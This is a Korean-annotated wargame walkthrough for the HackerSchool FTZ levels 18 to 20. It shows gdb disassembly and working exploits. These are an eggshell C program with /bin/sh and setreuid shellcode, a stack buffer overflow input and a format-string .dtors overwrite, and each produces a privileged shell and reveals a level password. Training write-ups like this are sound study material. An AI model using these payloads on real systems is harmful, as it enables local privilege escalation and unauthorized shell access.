 0x8048582 ;main+50;:mov0xffffff04(%ebp),%ecx

 0x8048588 ;main+56;:push %ecx

 0x8048589 ;main+57;:call 0x8048430 ;fflush;

 0x804858e ;main+62;:add$0x4,%esp

 0x8048591 ;main+65;:jmp0x8048598 ;main+72;

 0x8048593 ;main+67;:jmp0x8048775 ;main+549;

 0x8048598 ;main+72;:cmpl $0x63,0xffffff90(%ebp)

 0x804859c ;main+76;:jle0x80485ab ;main+91;

 0x804859e ;main+78;:push $0x8048815

 0x80485a3 ;main+83;:call 0x8048470 ;printf;

 0x80485a8 ;main+88;:add$0x4,%esp

 0x80485ab ;main+91;:cmpl $0xdeadbeef,0xffffff98(%ebp)

 0x80485b2 ;main+98;:jne0x80485c0 ;main+112;

 0x80485b4 ;main+100;: call 0x8048780 ;shellout;

 0x80485b9 ;main+105;: jmp0x8048770 ;main+544;

 0x80485be ;main+110;: mov%esi,%esi
 0x80485c0 ;main+112;: lea0xffffff10(%ebp),%edi

 0x80485c6 ;main+118;: mov%edi,0xffffff04(%ebp)

 0x80485cc ;main+124;: mov$0x20,%ecx

 0x80485d1 ;main+129;: mov0xffffff04(%ebp),%edi

 0x80485d7 ;main+135;: xor%eax,%eax

 0x80485d9 ;main+137;: cld

 0x80485da ;main+138;: repz stos %eax,%es:(%edi)

 0x80485dc ;main+140;: mov%ecx,0xffffff0c(%ebp)

 0x80485e2 ;main+146;: mov%edi,0xffffff08(%ebp)

 0x80485e8 ;main+152;: jmp0x80485f2 ;main+162;

 0x80485ea ;main+154;: lea0x0(%esi),%esi

 0x80485f0 ;main+160;: jmp0x80485c0 ;main+112;

 0x80485f2 ;main+162;: xor%eax,%eax

 0x80485f4 ;main+164;: bts%eax,0xffffff10(%ebp)

 0x80485fb ;main+171;: push $0x0

 0x80485fd ;main+173;: push $0x0

 0x80485ff ;main+175;: push $0x0

 0x8048601 ;main+177;: lea0xffffff10(%ebp),%ecx

 0x8048607 ;main+183;: mov%ecx,0xffffff04(%ebp)

 0x804860d ;main+189;: mov0xffffff04(%ebp),%edi

 0x8048613 ;main+195;: push %edi

 0x8048614 ;main+196;: push $0x400

 0x8048619 ;main+201;: call 0x8048440 ;select;

 0x804861e ;main+206;: add$0x14,%esp

 0x8048621 ;main+209;: mov%eax,0xffffff04(%ebp)

 0x8048627 ;main+215;: cmpl $0x0,0xffffff04(%ebp)

 0x804862e ;main+222;: jle0x8048770 ;main+544;

 0x8048634 ;main+228;: mov0x8049940,%eax

 0x8048639 ;main+233;: mov%eax,0xffffff04(%ebp)

 0x804863f ;main+239;: mov0xffffff04(%ebp),%ecx

 0x8048645 ;main+245;: push %ecx

 0x8048646 ;main+246;: call 0x8048420 ;fileno;

 0x804864b ;main+251;: add$0x4,%esp

 0x804864e ;main+254;: mov%eax,0xffffff04(%ebp)

 0x8048654 ;main+260;: mov0xffffff04(%ebp),%esi

 0x804865a ;main+266;: and$0x1f,%esi

 0x804865d ;main+269;: mov0x8049940,%edi

 0x8048663 ;main+275;: mov%edi,0xffffff04(%ebp)

 —Type ;return; to continue, or q ;return; to quit—

 0x8048669 ;main+281;: mov0xffffff04(%ebp),%eax

 0x804866f ;main+287;: push %eax

 0x8048670 ;main+288;: call 0x8048420 ;fileno;

 0x8048675 ;main+293;: add$0x4,%esp
 0x8048678 ;main+296;: mov%eax,0xffffff04(%ebp)

 0x804867e ;main+302;: mov0xffffff04(%ebp),%edx

 0x8048684 ;main+308;: shr$0x5,%edx

 0x8048687 ;main+311;: lea0x0(,%edx,4),%ecx

 0x804868e ;main+318;: mov%ecx,0xffffff04(%ebp)

 0x8048694 ;main+324;: lea0xffffff10(%ebp),%edx

 0x804869a ;main+330;: mov0xffffff04(%ebp),%edi

 0x80486a0 ;main+336;: bt %esi,(%edi,%edx,1)

 0x80486a4 ;main+340;: setb %bl

 0x80486a7 ;main+343;: test %bl,%bl

 0x80486a9 ;main+345;: je 0x8048770 ;main+544;

 0x80486af ;main+351;: push $0x1

 0x80486b1 ;main+353;: lea0xffffff94(%ebp),%eax

 0x80486b4 ;main+356;: mov%eax,0xffffff04(%ebp)

 0x80486ba ;main+362;: mov0xffffff04(%ebp),%ecx

 0x80486c0 ;main+368;: push %ecx

 0x80486c1 ;main+369;: mov0x8049940,%edi

 0x80486c7 ;main+375;: mov%edi,0xffffff04(%ebp)

 0x80486cd ;main+381;: mov0xffffff04(%ebp),%eax

 0x80486d3 ;main+387;: push %eax

 0x80486d4 ;main+388;: call 0x8048420 ;fileno;

 0x80486d9 ;main+393;: add$0x4,%esp

 0x80486dc ;main+396;: mov%eax,0xffffff04(%ebp)

 0x80486e2 ;main+402;: mov0xffffff04(%ebp),%ecx

 0x80486e8 ;main+408;: push %ecx

 0x80486e9 ;main+409;: call 0x8048490 ;read;

 0x80486ee ;main+414;: add$0xc,%esp

 0x80486f1 ;main+417;: mov0xffffff94(%ebp),%edi

 0x80486f4 ;main+420;: mov%edi,0xffffff04(%ebp)

 0x80486fa ;main+426;: cmpl $0xa,0xffffff04(%ebp)

 0x8048701 ;main+433;: je 0x8048722 ;main+466;

 0x8048703 ;main+435;: cmpl $0xa,0xffffff04(%ebp)

 0x804870a ;main+442;: jg 0x8048717 ;main+455;

 0x804870c ;main+444;: cmpl $0x8,0xffffff04(%ebp)

 0x8048713 ;main+451;: je 0x8048731 ;main+481;

 0x8048715 ;main+453;: jmp0x8048743 ;main+499;

 0x8048717 ;main+455;: cmpl $0xd,0xffffff04(%ebp)

 0x804871e ;main+462;: je 0x8048722 ;main+466;

 0x8048720 ;main+464;: jmp0x8048743 ;main+499;

 0x8048722 ;main+466;: push $0x8048831

 0x8048727 ;main+471;: call 0x8048470 ;printf;

 0x804872c ;main+476;: add$0x4,%esp
 0x804872f ;main+479;: jmp0x8048770 ;main+544;

 0x8048731 ;main+481;: decl 0xffffff90(%ebp)

 0x8048734 ;main+484;: push $0x8048833

 0x8048739 ;main+489;: call 0x8048470 ;printf;

 0x804873e ;main+494;: add$0x4,%esp

 0x8048741 ;main+497;: jmp0x8048770 ;main+544;

 0x8048743 ;main+499;: lea0xffffff9c(%ebp),%eax

 0x8048746 ;main+502;: mov%eax,0xffffff04(%ebp)

 0x804874c ;main+508;: mov0xffffff90(%ebp),%edx

 0x804874f ;main+511;: mov0xffffff94(%ebp),%cl

 0x8048752 ;main+514;: mov%cl,0xffffff03(%ebp)

 0x8048758 ;main+520;: mov0xffffff03(%ebp),%al

 0x804875e ;main+526;: mov0xffffff04(%ebp),%ecx

 0x8048764 ;main+532;: mov%al,(%edx,%ecx,1)

 0x8048767 ;main+535;: incl 0xffffff90(%ebp)

 0x804876a ;main+538;: jmp0x8048770 ;main+544;

 0x804876c ;main+540;: lea0x0(%esi,1),%esi

 0x8048770 ;main+544;: jmp0x8048591 ;main+65;

 0x8048775 ;main+549;: lea0xfffffef4(%ebp),%esp

 0x804877b ;main+555;: pop%ebx

 0x804877c ;main+556;: pop%esi

 0x804877d ;main+557;: pop%edi

 —Type ;return; to continue, or q ;return; to quit—

 0x804877e ;main+558;: leave

 0x804877f ;main+559;: ret

 End of assembler dump.

(gdb) b *main+91

 Breakpoint 1 at 0x80485ab

(gdb) r

 Starting program: /home/level18/tmp/attackme

 Enter your command: (no debugging symbols found)…(no debugging symbols found)…

 Breakpoint 1, 0x080485ab in main ()

(gdb) c

 Continuing.

 to

Breakpoint 1, 0x080485ab in main ()

(gdb) o

 Ambiguous command “o”: obscure, output, ov, overlay, ovly.

 (gdb) x/12bx $ebp+0xffffff98

 0xbffffa90: 0x0c0x030x130x420x740x030x130x42

 0xbffffa98: 0xc00x340x010x40

(gdb) shell

 [level18@ftz tmp]$ perl -e \’print “\\x74\\n”\’

 t

 [level18@ftz tmp]$ exit

 exit

(gdb) c

 Continuing.

 on

Breakpoint 1, 0x080485ab in main ()

(gdb) n

 Single stepping until exit from function main,

 which has no line number information.

Breakpoint 1, 0x080485ab in main ()
(gdb) x/12bx $ebp+0xffffff98

 0xbffffa90: 0x0c0x030x130x420x740x6f0x130x42

 0xbffffa98: 0xc00x340x010x40

(gdb) shell

[level18@ftz tmp]$ perl -e \’print “\\x6f\\n”\’

 o

[level18@ftz tmp]$ exit

 exit

(gdb) q

 The program is running.Exit anyway? (y or n) y

 [level18@ftz tmp]$

[int check]+[char string(100)] 의 형식임을 확인.

[level18@ftz level18]$ (printf “\\x08\\x08\\x08\\x08\\xef\\xbe\\xad\\xde”; cat)| ./attackme

 Enter your command:

 id

 uid=3099(level19) gid=3098(level18) groups=3098(level18)

 my-pass

Level19 Password is “swimming in pink”.

문자열의 16진수로 0x08 일 경우 전체 array index 를 1 씩 감소하는 조건.

 좀 더 분석해볼 필요가 있음.

레벨 :: 19

[level19@ftz level19]$ cat hint

main() { char buf[20]; gets(buf); printf(“%s\\n”,buf); }

[level19@ftz level19]$

[level19@ftz level19]$ dir

 attackmehintpublic_htmltmp

[level19@ftz level19]$ cp attackme ./tmp

[level19@ftz level19]$ cd tmp

[level19@ftz tmp]$ dir

 attackme

[level19@ftz tmp]$ gdb attackme

 GNU gdb Red Hat Linux (5.1.90CVS-5)

 Copyright 2002 Free Software Foundation, Inc.

 GDB is free software, covered by the GNU General Public License, and you are

 welcome to change it and/or distribute copies of it under certain conditions.

 Type “show copying” to see the conditions.

 There is absolutely no warranty for GDB.Type “show warranty” for details.

 This GDB was configured as “i386-redhat-linux”…

 (gdb) disassemble main

 Dump of assembler code for function main:

 0x8048440 ;main;: push %ebp

 0x8048441 ;main+1;: mov%esp,%ebp

 0x8048443 ;main+3;: sub$0x28,%esp

 0x8048446 ;main+6;: sub$0xc,%esp

 0x8048449 ;main+9;: lea0xffffffd8(%ebp),%eax

 0x804844c ;main+12;:push %eax

 0x804844d ;main+13;:call 0x80482f4 ;gets;

 0x8048452 ;main+18;:add$0x10,%esp

 0x8048455 ;main+21;:sub$0x8,%esp

 0x8048458 ;main+24;:lea0xffffffd8(%ebp),%eax

 0x804845b ;main+27;:push %eax

 0x804845c ;main+28;:push $0x80484d8

 0x8048461 ;main+33;:call 0x8048324 ;printf;

 0x8048466 ;main+38;:add$0x10,%esp

 0x8048469 ;main+41;:leave

 0x804846a ;main+42;:ret

 0x804846b ;main+43;:nop

 0x804846c ;main+44;:nop

 0x804846d ;main+45;:nop

 0x804846e ;main+46;:nop

 0x804846f ;main+47;:nop

 End of assembler dump.

 (gdb)

(gdb) b *main+28

 Breakpoint 1 at 0x804845c

 (gdb) r

 Starting program: /home/level19/tmp/attackme

 AAAAAAAAAAAAAAAAAAAAAABB

Breakpoint 1, 0x0804845c in main ()

(gdb) x/4bx $ebp

 0xbffffaf8: 0x380xfb0xff0xbf

 (gdb) x/4bx $ebp-4

 0xbffffaf4: 0xec0x950x040x08

 (gdb) x/4bx $ebp-8

 0xbffffaf0: 0xec0x940x040x08

 (gdb) x/4bx $ebp-12

 0xbffffaec: 0x210x840x040x08

 (gdb) x/4bx $ebp-16

 0xbffffae8: 0x000xfb0xff0xbf

 (gdb) x/4bx $ebp-20
 0xbffffae4: 0x410x410x420x42

 (gdb)

메모리구조는 다음과 같음을 알 수 있다. [buf20][dummy12][dummy8][ebp][ret]

[level19@ftz tmp]$ cat ; egg.c

 /* eggshell.c */

 #include ;stdlib.h;

#define DEFAULT_OFFSET 0

 #define DEFAULT_BUFFER_SIZE 512

 #define DEFAULT_EGG_SIZE 2048

 #define NOP 0x90

char shellcode[] = “\\x55\\x89\\xe5\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46” “\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89” “\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68” “\\x00\\xc9\\xc3\\x90/bin/sh”; unsigned long get_esp(void) { __asm__(“movl %esp,%eax”); } int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc ; 1) bsize = atoi(argv[1]); if (argc ; 2) offset = atoi(argv[2]); if (argc ; 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf(“Can\’t allocate memory.\\n”); exit(0); } if (!(egg = malloc(eggsize))) { printf(“Can\’t allocate memory.\\n”); exit(0); } addr = get_esp() – offset; printf(“Using address: 0x%x\\n”, addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i ; bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for(i = 0; i ; eggsize – strlen(shellcode) – 1; i++) *(ptr++) = NOP; for(i = 0; i ; strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize – 1] = \’\\0\’; egg[eggsize – 1] = \’\\0\’; memcpy(egg,”EGG=”,4); putenv(egg); memcpy(buff,”RET=”,4); putenv(buff); system(“/bin/bash”); }

[level19@ftz tmp]$ gcc -o egg egg.c

[level19@ftz tmp]$ cd ..

[level19@ftz level19]$ ./tmp/egg

 Using address: 0xbffffac8

[level19@ftz level19]$ (printf “AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDCCCC\\xc8\\xfa\\xff\\xbf”;cat)|./attackme

AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDCCCC힐?

 id

 uid=3099(level19) gid=3099(level19) groups=3099(level19)

q /bin/sh: q: command not found

[level19@ftz level19]$

쉘이 떳지만… 렙이 올라가질 않는다. 이유는 egg쉘 코드에 setreuid() 함수를 추가하지 않았기 때문이다. setreuid(3100,3100); 이 쉘코드의 주소를 구하고 egg쉘코드에 추가한후 다시 공격해 보기로 하자.

/* setreuid(3100, 3100); */

 “\\x31\\xc9″/* xor%ecx,%ecx */

 “\\x66\\xb9\\x1c\\x0c”/* mov$0xc1c,%cx0xc1c: 3100 */

 “\\x31\\xdb”/* xor%ebx,%ebx */

 “\\x66\\xbb\\x1c\\x0c”/* mov$0xc1c,%bx 0xc1c: 3100 */

 “\\x31\\xc0″/* xor%eax,%eax */

 “\\xb0\\x46″/* mov$0x46,%al */

 “\\xcd\\x80″/* int$0x80 */

[level19@ftz level19]$ ./tmp/egg

 Using address: 0xbffffad8

[level19@ftz level19]$ (printf “AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDOOOO\\xd8\\xfa\\xff\\xbf”;cat)|./attackme

AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDOOOO綿?

 id

 uid=3100(level20) gid=3099(level19) groups=3099(level19)

my-pass TERM environment variable not set. Level20 Password is “we are just regular guys”.

레벨 :: 20

[level20@ftz level20]$ cat hint

#include ;stdio.h;

 main(int argc,char **argv)

 { char bleh[80];

 setreuid(3101,3101);

 fgets(bleh,79,stdin);

 printf(bleh);

 }

[level20@ftz level20]$

[level20@ftz level20]$ cd tmp

[level20@ftz tmp]$ cat ; egg.c

[level19@ftz tmp]$ cat ; egg.c

 /* eggshell.c */

 #include ;stdlib.h;

#define DEFAULT_OFFSET 0

 #define DEFAULT_BUFFER_SIZE 512

 #define DEFAULT_EGG_SIZE 2048

 #define NOP 0x90

char shellcode[] =

 /* setreuid(3100, 3100); */

 “\\x31\\xc9″/* xor%ecx,%ecx */

 “\\x66\\xb9\\x1d\\x0c”/* mov$0xc1d,%cx0xc1d: 3101 */

 “\\x31\\xdb”/* xor%ebx,%ebx */

 “\\x66\\xbb\\x1d\\x0c”/* mov$0xc1d,%bx 0xc1d: 3101 */

 “\\x31\\xc0″/* xor%eax,%eax */

 “\\xb0\\x46″/* mov$0x46,%al */

 “\\xcd\\x80″/* int$0x80 */

 “\\x55\\x89\\xe5\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46”

 “\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89”

 “\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68”

 “\\x00\\xc9\\xc3\\x90/bin/sh”;

unsigned long get_esp(void) { __asm__(“movl %esp,%eax”); } int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc ; 1) bsize = atoi(argv[1]); if (argc ; 2) offset = atoi(argv[2]); if (argc ; 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf(“Can\’t allocate memory.\\n”); exit(0); } if (!(egg = malloc(eggsize))) { printf(“Can\’t allocate memory.\\n”); exit(0); } addr = get_esp() – offset; printf(“Using address: 0x%x\\n”, addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i ; bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for(i = 0; i ; eggsize – strlen(shellcode) – 1; i++) *(ptr++) = NOP; for(i = 0; i ; strlen(shellcode); i++) *(ptr++) = shellcode[i];

buff[bsize – 1] = \’\\0\’;

 egg[eggsize – 1] = \’\\0\’;

 memcpy(egg,”EGG=”,4);

 putenv(egg);

 memcpy(buff,”RET=”,4);

 putenv(buff);

 system(“/bin/bash”);

 }

 [level20@ftz tmp]$ gcc -o egg egg.c

[level20@ftz tmp]$ cd ..

[level20@ftz level20]$ ./tmp/egg

 Using address: 0xbffffad8

[level20@ftz level20]$ objdump -h attackme|grep dtors

 18 .dtors000000080804950808049508000005082**2

 [level20@ftz level20]$

리턴어드레스값 : 08049508+$ebp+ret fad8(64216)-16=64200 (1bfff)114687-(fad8)64216=50471

[level20@ftz level20]$ (printf “AAAA\\x0c\\x95\\x04\\x08AAAA\\x0e\\x95\\x04\\x08%%64152c%%n%%50519c%%n”; cat) | ./attackme

id

 uid=3101(clear) gid=3100(level20) groups=3100(level20)

my-pass TERM environment variable not set. clear Password is “i will come in a minute”. 웹에서 등록하세요. * 해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다. 당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다. 해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다. 이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의 가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.


📎

Lamagra의 Omega Project의 이해 및 분석Security